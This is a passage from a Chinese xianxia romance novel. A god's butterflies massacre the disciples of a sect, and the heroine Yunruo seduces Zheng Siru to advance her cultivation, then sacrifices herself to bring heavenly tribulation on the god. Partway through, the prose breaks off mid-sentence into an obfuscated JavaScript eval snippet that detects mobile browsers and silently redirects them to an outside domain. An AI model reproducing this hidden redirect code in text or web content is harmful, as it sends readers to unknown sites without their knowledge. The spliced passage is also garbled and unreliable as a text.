渐渐,大家将孔明灯放飞,如墨夜空中星辰灯光明灿温暖,增添许多鲜活的亮色。 那是大家的希望,是对未来的期盼。 云若被这美丽的夜空吸引,托腮望着夜空。 云若望着天空,郑思如望着云若。 少女笑颜恬静温柔,明眸若秋水,有星光,有这世上所有的美丽与包容。 世界上总有那么一瞬间,美好的让人想永远留存。 郑思如忽然知道写什么,他赶忙落笔,然后把灯放飞。 他的灯随风飘着,追寻着她的灯。 他写的是,愿我的姑娘,永远平安喜乐。 如果……一直这样,云若只是云若,而不是师姐,也很好…… 他们就这样,过着平凡却温暖的生活。 “如官,你写的什么?”她笑着问他。 郑思如看她明媚容颜,心下微动,忽然极温柔唤了声:“……若若。” 说来,许道淳也这样喊过她,她只觉别扭。 可如官忽然轻声唤她名字,不知为何,令人心乱如麻。 “若若,我想说……我想对你说……”郑思如唇角微动,似是下定决心。 云若见他眸中神色,忽然觉得周围都安静,安静到就连风声是那么令人脸红。 夜色月光中,云若看到有两只蝴蝶从郑思如身后翩然飞来。那是她从未见过,极其漂亮的蝴蝶。 它们泛着淡赤与淡蓝的光芒,互相缠绕着朝他们飞来。 就像故事中说的,梁山伯和祝英台化作的双蝶。 她似乎听到如官和自己胸膛中急促的心跳,也能感到温热的气氛。 今夜的星空,他们之间隐秘的情愫,都和这双蝴蝶一样。 未知而美丽。 19. 归来 19.归来 “如官,你想说什么?”云若眼神微带迷茫,似问他,又似问她眼中那对蝴蝶。 那四个字在心头压抑许久,趁着夜深月浓,郑思如才敢开口,却看见云若视线落在他身后。 郑思如随她眼神望去,见到了两只蝴蝶。 是蝴蝶。 又不是蝴蝶。 那一瞬间,他如坠冰窖,全身发寒,仿佛全身血液都凝固,连思考也变得困难。 那是他的梦魇。 那只蓝蝶曾狠狠穿过他的琵琶骨,将他锁在天罚柱上。 怎么会……出现? 怎么会在这个时刻出现? 红蝶与蓝蝶俯冲而来,速度极快,他来不及多想,将云若推倒在一旁,挡在她身前。 “怎么了?”她感到郑思如情绪上的变化,感到他微颤的身躯。 他在恐惧。 有什么东西,会让如官恐惧? “别怕。”郑思如低声道。 说给她听,也说给自己听。 然而,那双蝴蝶只是缓缓飞过他们身旁。 在飞过郑思如眼前时,略微停顿。 蝴蝶展开双翼,左右各有一个圆形斑纹,就像未知的眼睛,凝视着他。 而后,慵懒拍打双翼飞离。 似是毫不在意。 郑思如才稍微松口气。 也许,也许不是他想的那样,也许它们只是路过。 然而,下一秒,他侥幸的想法破灭。 蝴蝶忽然加速向下冲去,向庭院中说说笑笑的众人冲去。 那是一种不可用语言描述的速度。 也许是一呼一吸之间,连一句“快跑”还没说出口。 郑思如眼睁睁看着那状似无害的蓝蝶似箭一般飞速从楚灵儿脊背穿过,从前穿出,然后是柳月,崔雪知……最后穿过玉姬身躯。 每从一人身上穿过,那人便瞬间炸开化作齑粉,弥散在庭院中。 每个人,原本在笑着,原本在说话,原本在等待新年的烟花。 他们甚至来不及反应。 与此同时,耳边传来巨大的爆炸声。 像是瓷器高高落在地上,像是巨石重重沉入海底,像是死神举着巨斧,将凡人头颅毫不犹豫砍下。 爆炸声巨大,是因为每一声间隙都极短。 三十多道爆炸声连在一起,便揉成了一声,分不清彼此,分不出你我。 那是回荡在庭院中一道无法上达天听的悲鸣。 恰好到正子时,魏国各处响起鞭炮声,绚烂的烟花在墨色天边炸开,和星星与孔明灯一起,交织成美丽的灿烂光海星河。 这一处的爆炸声,毫无异样地融入庆贺新年的鞭炮烟花声中。 生与死,喜与悲,得与失,交融在一起,诡异又和谐自然。 云若不知发生了什么,小声道:“如官,新年到了。” 郑思如望着她仍明亮的双眸,恍如梦呓,“是啊,新年到了。” “师兄师姐是不是已经放鞭炮了?咱们也下去一起吧。爆竹声中一岁除,希望以后越来越好!” 云若笑着起身,却被郑思如拦住。 他眼神浮上一抹从未有过的哀色,语气近乎恳求:“别去。” 云若笑容渐凝,疑惑道:“为什么?” 郑思如指尖微颤,轻抚上她的眉,却隐隐挡住她眼侧视线。 “若若,听话。” 这本该是最为欢愉的时刻,也本该是,气氛最热烈的时刻。 命运却开了极大的玩笑。 空中渐渐弥漫起一丝血腥气息,随后,逐渐浓郁。 很安静。 大约有一段时间,是极致的沉默。 然后,庭院中。 沉默被打破,平静被撕碎,传来一声撕心裂肺、痛彻心扉的嘶吼声。 人在忽然崩溃时的哭喊声,是扭曲而可怕的,断断续续,毫无章法。 云若听出那声音,抬头惊道:“是掌门?!” 郑思如不敢看她的双眼,很想阻拦她,却无法拦住。 云若变了脸色,赶忙起身,转身往庭院看去。 接着,她看到了此生从没见过的,刻骨铭心的景象。 庭院中的人都消失了,空中弥漫着浓郁的血雾。 浓郁到什么都看不见。 她隐隐看到,一个身影孤零零站在雪地篝火旁。 浓的化不开的血雾里只剩下他一个人。 很孤单。 他原本不孤单,他有个刚许了承诺的情人,还有三十多个天真烂漫的弟子。 可那些人都不见了。 掌门弓着身子,像在找什么,他从地上捡了些东西。 那些东西被血浸的看不出原本模样。 他匆忙把那些东西擦净。 云若才看清,那些是师兄师姐们的腰牌,几乎每个都不完整,碎成三四片。 掌门将它们一点点拼起来,用术法将之凝固。 掌门耐心地找了很久。 他边抽泣边找,每走一步,仿佛用尽全身力气。 终于,他仿佛被抽干了全身力气,瘫软着跪在地上。 他目光呆滞,唇仍半张,僵硬伸着双手,没有收回,仿佛想握住风中的什么。 他的衣袍皆染血,白净的脸上、手上也全溅上血。 空中,是浓郁的血雾和衣衫碎片,以及,萦绕在血雾中的淡蓝光芒。 荧光点点,就像一颗一颗破碎的星星。 赤色蝴蝶从血雾中飞出,化作金色光芒,以血雾为纸,汇聚成字。 ——“罪仙任流光,勾结鬼域,邪修立派,祸乱天界,致使仙君一入魔,一重伤,今略施小戒,以儆效尤。 ——“速速归天领罚,否则天罚将至,着尔受魂飞魄散之刑。” 掌门望着那血雾金字,撑着不让自己倒下。 “略施小戒?” “略施小戒……哈哈哈……略施小戒……” 多么傲慢的神。 他低低笑着,泪痕布满脸颊,心疼得仿佛有一把刀拼命搅动着。他捂着心口,仿佛有巨石堵在胸口让他无法呼吸,眼前忽然发黑,看不清周围事物,喉中弥漫起腥甜,终于从口中喷出鲜血。 血带走他仅剩的力气,他跌倒在血泊中,唇边血蔓延着滑落脸颊,留一道绝望的红痕。 云若见状,软着脚飞落地面,险些摔在房下,顾不得许多,她连爬带跑到掌门身边,看他的情况。 血和雪水混在一起,冰冷粘腻,把裙角溅湿。 空中腥味浓郁地让人想吐。 落地前,她曾想骗自己,也许师姐师兄们只是被运到另外一个地方。 可当她看到满地黏稠的血,当她脚下踩到一块崔雪知的碎玉佩,当她望见楚灵儿发髻上常戴的却已经折断的金步摇……她知道她做不到欺骗自己。 一个残忍的真相浮现脑海。 她无法想象,是什么样的力量,能让三十多条鲜活的生命在一息之间瞬灭,让那些欢声笑语戛然而止,让活生生的肉身炸成漫天血雾,连一丝形的痕迹都不留。 这不是残忍可以形容。 或许说,是力量的绝对碾压,是蔑视,是不屑。 她来不及有别的情绪,显得异常冷静。 若她也失去理智,掌门怎么办? 掌门和消失的师兄师姐们需要她的冷静。 郑思如因她极端的安静而心神不宁,默默跟在她身后。 云若跪坐在掌门身旁,手也在颤着,却尽量耐心温柔替他擦去泪水和唇边污血。 她也不知道为什么要这么做,可潜意识觉得,应该这么做。 掌门倒在地上,目光无神,直直望着广袤天空,似能从层层重云中窥得高深渺远的九重天。 朦胧黑暗中,有人替他轻轻拭去血和泪,理好鬓发。 那人的目光很温柔,那双手也很温柔,是母亲对稚儿的疼爱与呵护,是姐姐对弟弟的怜惜与照顾,是世上最温暖的光,将他包裹,抵御无尽黑暗和寒冷。 温柔的目光与记忆中的那双眼重合,脑海中浮现出他最尊重却也最愧对的人,曾对他说的一句话—— 她说:“流光,去做自己想做的事吧,我不会拘束你,而且,我一直都是相信你的。不必愧疚,大胆往前,若是倦了,也可歇一歇,师姐一直在你身后。” 他眸眼微动。 那是他的师姐,他的主人。 他唇畔泛起一抹微笑,却又痛哭出声,他紧紧抓住身旁那人的衣袖道:“师姐,流光无能,流光负了你的期望……” 那人轻拍他的背,温声道:“……别怕,我们一直在你身旁,有什么事一起面对。” 他终于忍不住,起身抱住那人,像溺水之人抱紧最后一块浮木。 他向她肆意发泄着情绪。 “为什么,为什么啊?若是毒恨我一人,让我死便是,为什么要这么对他们?他们……他们都那么单纯,只要有一点点温暖,就能活下去。” “我任流光从来……从来都是个普通得不能再普通的人,我平凡,我庸俗,我上不得台面,我不是那些能搅动日月天地的大能,我只是有一些想做的事而已……” “我不是好人,我贪财,我好色,我怕死,我更自私,自私到不愿去安安心心当个剑灵,自私到靠着师姐的纵容在天界胡作非为……” “但我也不是坏人,我从没害过人,没伤过人,我接手惊鸿派,就是想帮帮他们,帮帮那些在外无法过得好的人。不是所有人都能成剑修,也不是所有人都能成丹修,那些需要天赋,可媚修不需要,幻术不需要……我想让他们也有自保的能力,我想让他们终有一日能看看天界风光,有错吗?我错了吗?” “为何就是不容?为何就是不容?为何就是不容!!!” 萤火微光,虽比不过日月,难道就不配亮么? 蚍蜉纵小,朝生暮死,就不配一览世间风景么? 神说,他们都是废物,他们的确不配。 可神也曾说,慈悲为怀,万物有灵。 都是假的,假的。 云若一遍又一遍安抚着掌门,从他的发抚到背,抚平他的颤抖,安静倾听他的怨恨。 她也早泪眼朦胧,可她不想倒下。 她拂去掌门的泪水,郑思如拭去她的泪水。 夜空忽然很亮,炸开漫天绚烂的烟花,最美的一瞬也是将灭的一瞬。 他们的孔明灯尚未远去,承载着祈愿,朝天上飞去。 然而其实,天上的神从未听过凡人的愿望。 从未。 * 安抚好掌门,已是后半夜。 也许是泪流干,话说尽,神识已然崩溃,掌门很快就被云若使了昏睡咒,倒了下去。 即便如此,他手中仍紧紧抓着那些弟子的腰牌。 平日里笑眯眯的掌门,仿佛什么事也难不倒的掌门,此时却像绷紧到极致的琴弦,稍稍一拨便会断开。 他蜷缩着,看起来很脆弱。 云若退出掌门房中后,只觉腿一软,跌落在郑思如怀抱中。 幸好,幸好…… 此刻还有人能站在她身后,像一座山,拥着她。 她不敢大声哭泣,只好揪着郑思如衣襟压抑着哭声问:“如官,为什么会这样……为什么突然会这样……”她压抑不住周身寒意,从心脏到四肢,像被冰霜包围,再也感受不到温暖。 惊鸿派给了她许多温暖,在她心中已经是家的存在。 可是家忽然没了。 是不是她不配这些东西,从阿娘到慕容修,从阿爹到惊鸿派,每个人,每一处都曾给她温暖和光明。 可每一处都猝不及防地离去。 为什么会这样? 郑思如紧紧搂着她瘦弱的肩膀,低声道:“是扶光,上古神。他是被我牵连的。” “书中明明说,五百万年前,神寻得界外之境,已然脱离三界。为什么,他为什么还要干涉三界事?如果神这么厉害,仙到底算什么?修仙又是为什么?我们又算什么?” 假如一个人知道自己的未来会被轻易毁灭,他可还会努力追求未来? 郑思如向她解释。 天地初生,始有上古诸神。 神身负灵气,所经之处,凡物沾染灵气,孕育灵物。 活物为仙,此为先天之仙,死物化为福地。 凡人于福地修炼,悟天地玄机大道,修得仙身,此为后天之仙。 修仙者求大道,求长生,求不被天地规则束缚。 可回头想想,制定规则的是神,创造万物的是神,三界只要有神在一日,仙永远只是神的儿女、神的子民、神的奴仆。 包括那些仙君,只是看起来光鲜亮丽、高高在上,实际上没人能违拗神旨。 这是他们成为仙的那一刻就注定的。 在神面前,仙唯一能用以自保的规则是:神诛仙,会遭因果天劫。 所以神会伤仙,却不会轻易诛仙。 凡人便不一样,凡人如蝼蚁。 捏死一只蝼蚁,哪来多余情绪。 所以,修仙为什么?是为了从蝼蚁,变成奴仆么? “你以为……为什么会有仙甘愿成魔呢?魔不是一类生灵,是规则外所有生灵的统称,他们无法按照规则内的方法修炼,因之被称为‘邪魔歪道’。而心魔……” 郑思如讽刺一笑,道:“神认为,对仙而言,有些情绪是必要的,有些情绪是不必要的,那些不必要的情绪便被称为心魔。” 天界,神仙,除却那些飘渺的意象,梦幻的景色,也有最纯粹的现实。 神仙有别,仙凡有别,长相虽有类似,总归不是同一种族。品性、智慧、逻辑……未必相同。力量差异是最直接的划分。 云若曾经,只看得见前者。 可这些温暖与纯粹,并不能抵御神,甚至不能抵御神的一双蝴蝶。 如果只沉溺于安然惬意,也许会活得很浪漫,但也会活得很羸弱。 其实她一直知道力量的可贵。 没有力量,就无法复仇。 那么如今呢?究竟要有怎样的力量,才能复仇,才能让他们回来? 云若像想到什么,擦干眼泪,问郑思如:“如官,你不是鬼帝吗?他们的魂魄都会流落冥京吧?你能不能让他们回来?” 看着她充满期待的双眼,郑思如却沉默了。 过一会,才道:“神的审判,并不在三界内,神的毁灭,就是毁灭。” 不然,任流光也不会那么绝望痛苦。 云若眼中希望的火焰渐消。 无能,他们都是如此无能。 “如官,我想……回去。” 郑思如把她送回房中。 这房间冷冷清清,空气中还散着香料的味道,那是柳月调制的。 云若坐到椅上,桌上镜子映着月光。 刚加入惊鸿派的第一日,师姐们就是在这帮她打扮,给她上妆,给她新衣。 他们都是很好的人,不应落得这样下场。 总会有办法,总会有办法,想一想,再想一想。 如何弑神…… 如何弑神! 该死的是他,不是师兄师姐,也不是掌门。 夜色幽深中,她的眸中隐约透露着一抹暗红。 * 郑思如在空空荡荡的房。 他性格孤僻,一向不与人热络。 以前也是,现在也是。 在天界时,除了师姐,很少有人喊他一起做些什么事。 可如今待在这房中,再见不到那三个师兄,却十分孤寂。 习惯是很可怕的事,他习惯了热闹,习惯了无论何时总有人在旁边说话,习惯了那种旺盛的生命力。 见过阳光的人,很难再甘愿居于黑暗。 那封印本来就要破除,谁知临门一脚又被天界那几个搅屎棍堵住。 扶光老贼想让那些仙君诛杀他,不过是人多分摊因果多,每人受点天劫,也就过去。 三界规则中总有他不明白的地方,就像这一条,仿佛摆明告诉你,人多即是正义。 他正靠在椅上看窗外,却有人敲了他的门。 打开,是云若。 云若捧着一件衣服,问:“我可以进去吗?” 郑思如当然点头。 云若将衣服展开,“如官,我给你备了新年礼物……是我绣了很久的一件袍子,虽说……遇到这种事,可总归也算过了年……你虽然喜欢穿那件黑袍子,可我总觉得,你更适合银白色的衣服,所以自作主张了,你别怪我。” 郑思如有些没反应过来。 她的语气很平静。 “若若,你……” “看,好看吗?”她笑着问他。 那银白衣袍上绣了金色纹路,看起来贵气又明亮。 “好……看。” 云若:“我帮你换上吧?” 郑思如:“我……” 云若将衣袍放一边,伸手就要解他腰带。 “等等……云若……”上午看见他裸着半身还要转身的她,现在忽然主动替他宽衣解带,让他有些害怕。 云若没听他阻拦,将他外袍直接脱下。 “云……云若,你要是难受,可以在我怀里哭,可你不要这样……” “我不难受。”云若手上动作未停,将他衣袍扔到一边,给他换上银袍,束好腰带,然后后退一步,仔细端详。 “如官,你真的很适合白色。”她道。 接着,她又靠近一步,郑思如担忧她如今状态,随之后退一步,“若若,你魔怔了。” 云若摇头,“我很清醒。” 她进他退,很快到墙边。 郑思如无处可退。 云若望向他,眼神格外认真,此外看不出悲喜情绪。 她抚上他面颊,很认真,从额头到眉毛,到眼睛,到鼻梁,到嘴唇。 然后定在唇边。 她左手搭上他的肩,忽然踮起脚,在他震惊的目光中,奉上一吻。 那是很青涩,却很炽热缠绵的吻。 柔软覆上一瞬,郑思如神识中海浪翻涌,高及千丈,燃烧的火莲开满苍穹,凤凰嘶鸣后跌入莲花火焰,无数次涅槃重生。 他深刻回想了从生出神识的那一日到今天所有令他心跳加快的事,他深刻思考从天地混沌初生到三界布满生灵波澜壮阔的历史,从中,他和云若相处的每一瞬都变得格外清晰。 如果就像云若所说,转世后的那人不是她的前世。 那么云若还是不是师姐?他心中的人,是师姐还是云若? 在这样有些痛苦的思考中,他心中的火焰一点一点被云若点燃。 可他毕竟有着关于她所有的记忆,没有缺失任何一块,所以他分不清。 似乎看他有些走神,云若十分不满,吻得愈发火热。 你永远不知道平时清纯简单的小白兔,在有些时候可以欲成什么样。 连她眉眼也变得艳丽,那颗红痣更是妩媚。 而云若识海中,拼命回忆着她曾读过的那些惊鸿派双.修秘法。 自恢复法力以来,她已是地黄境中期。 现在,她需要一个快捷迅速的方式突破到天玄境。 只有这样,只有这样……胜算……会大。 郑思如被她吻得喘不过气,看她眸光朦胧,看她眸光潋滟,几欲把他悉数埋藏。 一个难以捕捉的瞬间,似乎有什么信息烙在他识海,待去追寻,却消失不见。 云若从他唇上吻到耳畔,低语道:“如官,抱我。” 这句话,像点燃稻草的火,一瞬燃了千顷心田。 浓重夜色中,月光柔和慈悲,有雪落下。 庭院狼藉他二人已清理过,却仍掩藏不住死亡的气息。 压抑的时刻,压抑的心灵,需要寻一处温暖居所释放。 郑思如想从被动变主动,然而云若却霸道的很,始终掌控着他的身心。 二人从墙边吻到窗前,最后辗转到榻上。 郑思如平日最不爱风花雪月,不知为何,那时刻他识海中全是那些东西。 清风吹落柳叶,吹落淡粉荷瓣;鱼游过温热的河水,冰滚落白雪中;朝露坠落于土地,雨滴落轻蕊,蝶采香,蜂撷蜜。 还有胡人热辣的舞,草原上奔腾的骏马,她曾有一世跳过的一支舞,翻飞上下红似火的舞袖是那样招摇艳丽,而另一世中,她白玉青葱的指尖在琴弦上勾弹,弹在弦上,也弹在心上…… 摇摇欲坠的漫天星河啊。 星星落了,晕开层层水纹,一圈一圈荡漾开。 红梅开了,一朵朵落在白雪上,那是它对白雪羞于启齿的爱意。 白雪融了,变成晶莹的水,从荷花上流淌,从采荷人手中流下,那是白雪对骄阳的爱惧。 柳枝抱着柳枝,菟丝缠着大树,鸟儿鸣着春风,夜莺叼着玫瑰,谁也不愿和彼此分开,谁都想把彼此刻在自己身中心里。 门外忽然下起鹅毛大雪,而他们热情似火。 情浓时,她哭着抱着他,颤着喊道:“如官救我。” 她的泪不是浇灭火焰的清水,反而给他添了一把柴。 他将她重重吻住,禁锢在怀中,让她所有颤抖、爱欲、悲喜都为他一人所占有。 原来,原来这一辈子,她是他的。 天从暗到明,雪从盛到晴,人由醒入梦。 * 掌门失明了。 也许是当日场景太让他惊骇,以至于他不愿再回想。 掌门不仅失明,性情也变了,变得阴晴不定。 大部分时间沉默寡言,偶尔会忽然痛哭。 当他痛哭时,十分需要云若在身旁,他抱着她一声声喊师姐。 说来好笑,云若才知道掌门名叫任流光,是王心若本命剑的剑灵。 怪不得她给剑起名时,掌门的表情那么奇怪。 原来这把小金剑,就是掌门的一部分。 因为无办法,无对策,三个人就这样孤单呆在惊鸿派消磨时日。 晚上,哄好掌门,让掌门乖乖入睡后,云若又会找上郑思如。 几日下来,三人都默认了这样奇怪的模式。 云若终于悄悄突破天玄境。 诡异的平静被不速之客打破。 是慕容修。 慕容修想带云若走。 他说,惊鸿派已是完全的是非之地,神旨已下,也许仙君们不愿杀任流光,可还有许多仙人。云若留在这,太过危险,他想她带回天界好好保护起来。 云若对他早无之前情分,言辞也有些冷漠,“保护?仙君是想杀我还是保护我?” “小若,你们又能这样过几时?” “能过几时过几时,多活一天也是赚的。” “小若,你是无辜的,为何一定要如此?” “我是无辜的,大家都是无辜的,无辜有什么用?” 见说不通,慕容修拿出两样东西。 云若不再说话,那是黄阮阮的碧罗伞和腰牌。 “就连赵玄檀也保不住黄阮阮,谁又来保你?难道是郑含元么?若非他,任流光也不必遭此惩罚。” 郑思如在屋里哄掌门,没听见他这话,否则两人又要掐架。 云若长叹一口气。 “也行。” 慕容修双眸微亮。 也许,他和小若的关系可以稍微转寰…… 云若道:“但我有个条件,待我去见那个扶光神君。” “小若,你若见他,必被抓住下放地牢,甚至受刑!” “我要见他,否则你带不走我。”云若想了想,换了温和些的语气,“见他后,我自有办法脱身,你不必担心。” 慕容修沉默片刻,才道了声好。 云若:“你以仙格发誓。” “你不信我?” “不信。” 在云若冷淡的眼神中,慕容修只好发誓。 郑思如快要从屋中走出,云若让慕容修先藏起来。 “掌门睡了?”云若问。 郑思如点头,捏捏她的脸,嘱咐道:“别太累了。” 自从那夜后,他愈发‘贤惠’,平日漫不经心的模样褪去不少,人也成熟稳重起来。 最重要的是,特别温柔。 温柔到,云若都不想离开。 温柔到,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137501|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜里也会想,是不是这样也挺好的。 但她将这念头克制住。 生于忧患,死于安乐。 烟花那么美,也不过一瞬。她要做坚不可摧的利刃,而不是脆弱的烟花。 “如官,我去镇上买点包子,你在家好好等我。”云若轻吻他。 看他回屋后,慕容修出现,带着云若去天界。 这次上天,心境大为不同。 扶光尚未离开,尚在九重天朝华古钟内。 在路上,云若时不时和慕容修搭话,让他慢慢放下戒备。 而后,分神悄悄潜入他识海。 她想找些东西。 云若到那钟内时,恰好有几个仙君在,扶光正在训话。 “慕容师侄,你今日迟了。” 扶光似笑非笑。 “弟子知罪。” “你身后何人?” 未等慕容修说话,云若上前一步,掷地有声道:“惊鸿派云若,见过扶光神君。” “惊鸿派?”扶光微眯双眼,“你是惊鸿派的?” “我不仅是惊鸿派的,还是让许仙君入魔的那个人,而且,我还是入了魔、被人邪法炼出来的鬼王。”云若望着他,双眸再不掩饰,转为赤色。 殿上一片哗然。 慕容修惊道:“小若,你做什么?” 扶光却饶有兴趣,“云若,你很大胆,告诉我这些,想说什么?” 云若微笑,“您欠了惊鸿派上下三十三口性命,云若想杀您。” “杀我?”扶光像听到什么笑话般,大笑不已。“云若,你是初生牛犊不怕虎,还是愚不可及呢?” 陆起坐在席上,心道,这女子倒是极有个性,极敢说,把他们想说的话如此堂堂正正摆了出来。 可惜太傻。 纵然她有天玄境,又怎么比得过神。 “神君,那我们试试吧。”云若毫不犹豫,提剑飞身刺去。 没等扶光动手,扶光弟子素璇便起身迎战。 云若叹道:“姑娘,卿本佳人,奈何从贼?” 素璇怒道:“逆贼,这句话该由我对你说!” 二人缠斗半晌,素璇渐落下风。 她境界比不上云若。 本以为云若会就此收手,谁道她杀招屡现,素璇渐挡不住。 “云若,孤有兴趣和你说几句,不代表能允许你如此放肆。” 扶光眼神轻蔑,蓝色蝴蝶随手放出。 云若赶忙躲避,却仍被削下半个肩膀,右臂也应声而落。 云若连表情也未变,仍是带着微笑。 尽管,她快把后槽牙咬碎。 血从伤口处汩汩流出,染红地面。 “小若!”慕容修被场上情况震惊,赶忙扶住她,求情道:“神君,她是无辜的,求您放她一马!” “你和她什么关系,帮她如此求情?”扶光不悦。 慕容修沉默片刻,终是说了句众人意想不到的话。 “神君,云若是我……是我倾心之人,我本意欲和她结为道侣。” 素璇面色微白。 扶光脸色大变,斥道:“荒唐!孤已将素璇许给你,你怎敢再许他人?” 慕容修紧握着拳。 他总有太多顾虑,所以才会一次又一次失去。 他怕,他怕再次失去。 那是他情劫中青梅竹马的师妹,也是这辈子亲口说过喜欢他的小若。 不该再因优柔寡断而错过。 云若唇色已然变得苍白,冷汗直冒,气息变弱。 云若轻笑,终是低语道:“修官,你这又是何必?” 听到称呼,慕容修心中大喜,“小若,你……你是不是原谅我了,你可愿意重新接受我?” 云若摇摇头,“修官,每朵花都有它的花期,开时相遇,谢了就错过了。一朵花最后只会被一人摘下,即使她曾经对前面那人说‘快摘我快摘我’,可那人离开了,她被人摘了,那人又回来,她已经没了。” 她看他怔住的表情,自嘲道:“我脑子不清晰了,说话也乱起来,你别介意。修官,保重。” 她提剑,又迅速朝素璇攻击去。 少了常用那只手臂,攻击力弱了许多。 可她仍是不要命的战斗。 即便弱下来的她被素璇屡次划伤。 “连孤之徒儿都战胜不了,还说杀孤。云若,你很狂妄,也很愚蠢。” “谢神君夸奖。”云若不理睬他,并不收手。 终于,素璇被她打落一旁,她持着剑冲到扶光身前,那蓝蝶又从他袖中飞出。 速度很快,所以她看得仔细。 蓝蝶似是有神识,能准确按一定轨迹攻击。 观察清楚的代价是左小腿。 诸仙君眼中流露出不忍,纷纷求情。 慕容修更是痛苦万分。 早知如此,早知如此……他便不带她上天界。 云若越痛,笑容越大。 “神君,您信吗?总有一次,我能躲开。” “云若姑娘,你不必如此……” “神君,我看这姑娘有癔症,你放过她吧……” 仙君纷纷起身,挡在她身前,向神君求情。 云若浑身染血,眼中战意犹不死。她擦去颊上血痕,道:“谢谢诸位仙君,只要云若一息尚存,便不会放弃。” 她一字一顿道:“我要杀扶光神君。” 扶光睥着她,冷淡说道:“神是不可战胜的。” 蓝蝶盛怒朝她飞来。 慕容修挡在她身前。 她愣了一秒。 然后用尽全力将他撞开。 蓝蝶速度极快,即便预设轨迹,在一刹那间却无法改变。 云若朝左上速移,迅速计算着距离。 三…… 二…… “……躲反了吧?”有人惊道。 话音刚落。 一…… 本欲削去她左臂的蓝蝶撞入她体内,从她心脏穿过。 她感到胸腔炸开,源源不断的腥甜翻涌上喉头。 从口中不断喷出鲜血,她却放松地笑了,笑的像鬼域的女妖,却也像殉难的战神。 她道:“神是可以战胜的。” 她道:“师姐师兄,掌门,你们知道吗?神是可以战胜的。” 书上说,若杀无罪的修士,会有天劫。境界越高,天劫越高。 无论人在何地,但凡有天劫至,那人便会回到他犯下因果的地方,接受天劫。 一般来说,天劫威力高于死者境界,这也是天界修士少杀戮的原因。 神也不例外,神也不例外! 所以神是可以战胜的! 神只比她高一境界啊。 云若越想越开心,边吐着血,边倒了下去。 她像盛放的血花,溅落在洁白的仙殿,如此格格不入。 慕容修接住她。 她意识在一点一点流逝,这种感觉还有些熟悉。 她曾经历过两次。 所以她不害怕。 她伸出手想触碰慕容修,却没力气,他看出她的疲惫,握住她的手。 有泪落到她的脸上。 “修官,我生时,见得是你,死时,见得亦是你。” “你肯帮我挡那只蝴蝶,我很感谢你……” 可是,可是我们的缘分,终究短暂。 而且在这样的时刻…… 这样的时刻。 云若渐渐移开视线。 原来她想着的,是她刚到魏国时,在石堤旁,见到的那个银竹墨袍的少年。 她生命中出现过一些光芒,可那个少年,是她的太阳,是她的满心春色。 她其实能感觉到,也许有时候他不是在看她。 因为看向她时,他偶尔会走神,会陷入一种奇怪的沉默。 他透过她在看别人,他脑海中那个人是不是也是她的前世呢? 就像许道淳一样,他把对另一个人的情感寄托在她身上。 毕竟,堂堂鬼帝,怎么会钟情于她这么一个,普普通通的少女。 可她没有像拒绝许道淳那样,说出那些说辞。 她不舍得。 人是双标的。 她渐渐阖上眸,恬静得像睡着了。 如官马上就会知道。 她那夜给他识海里种了一个咒,是惊鸿派一个很偏僻的幻术。 叫“生死咒”。 种咒的人死去,她想说的话才会出现在他脑海。 * “如官,神是可以战胜的,虽然我们挽不回逝去的性命,但我们总能找到办法,用敌人的血告慰亡灵。 老实说,我也不知道能不能成。但掌门有句话说得好——活人不能被尿憋死。 办法想想总是有的,方法总比困难多。 书上说,神也会有天劫,我死了,他经历天劫,不死也半残。 所以我偷偷潜入慕容修识海,取了一个东西,你一定会很开心。 那是无道荒海封印的解除方法!怎么样,惊不惊喜,意不意外? 你马上就可以恢复鬼帝身份了哦,你会拥有强大的法力。 所以……其实我有个请求。 等到扶光老贼经历天劫时,趁虚而入,把他搞死。 我翻了民间《天界规则大全》,发现你们魔杀人好像不会被天劫束缚。 怪不得你想当魔,不过当魔也有当魔的苦楚。 如官,照顾好掌门,他现在就是个孩子。 本来想着,虽然我不信转世轮回,但你说有,那应该是有的,我希望你能找到下辈子的我,我们重来好不好?你就辛苦点,再找找我。 不过我后来想,神杀的人,没有轮回,好可惜。 最后,如官,或者叫你含元吧。我有一句话想对你说,虽然有些不好意思。 就是,那个…… 如果你喜欢我的话,我们就是两情相悦了。你懂吧?” 她的声音忽然响在脑海。 第一个字响起时,郑思如便明白了。 生死咒。 他好歹也是术修佼佼者,这点把戏怎会不知道。 他面无表情听着云若的‘临终遗言’,走到树边,坐立皆不是。 终于,在听完最后一句话时,情绪崩溃。 “云若,你总是这样,又趁我不注意自己瞎权衡瞎筹谋……你这个疯子,你这个骗子!你他妈骗身骗心!” 上他是为了双修,是为了提境界,是为了弑神,是为了报仇。 为什么?为什么? 他跟了她十世,前九世他眼睁睁看她爱上别人,错付痴心。 这一世终于轮到他了,她没有错付痴心。 而她终于也爱他一次。 结果就是这个结果?就是这个结局? 下辈子再重来? 有那么简单吗?说得轻巧……万一又是十世,何时才到的了头! 这哪是她的情劫,这是他的情劫,是他永远看不到头的情劫。 两情相悦? 谁他妈要和你两情相悦? 可是,在看到身上衣服一瞬,他还是靠着树跌坐在地上,不争气地埋膝哭出声。 * 亡灵化作微光,似受到召唤,朝一处飞去。 那是终年不化的云渚雪山。 它飞到隐秘地洞中,地洞中有一个冰棺,围绕冰棺有十个魂灯。 微光归位,点燃最后一盏魂灯。 与此同时,冰棺中的人,缓缓睁开双眸。 大量的记忆涌入,却又忽然沉入识海深处,消失不见。 棺中人眉目如画,冰肌玉质,足令天地失色。 她缓缓起身,凭空生出白袍,裹住她的身躯。 素带,绾起她的长发。 脚方踏下地,一双红绣鞋自动出现。她素手轻点,转红为白。 玉簪落下,在手中变为玉柄拂尘。 接着,一柄银剑出现在后背。 她轻步出去,在雪山之巅,眺望着渺渺天界,然后目光,落在高高的九重天上。 十魂归,天劫毕,五百万年的账,该算了。 20. 师姐 20.师姐 云若弥留之际,耳边乱哄哄的,传来许多声音。 慕容修一遍遍的呼喊她的名字。 素璇气急败坏地指责,说她丧心病狂,挑战神威是痴心妄想。 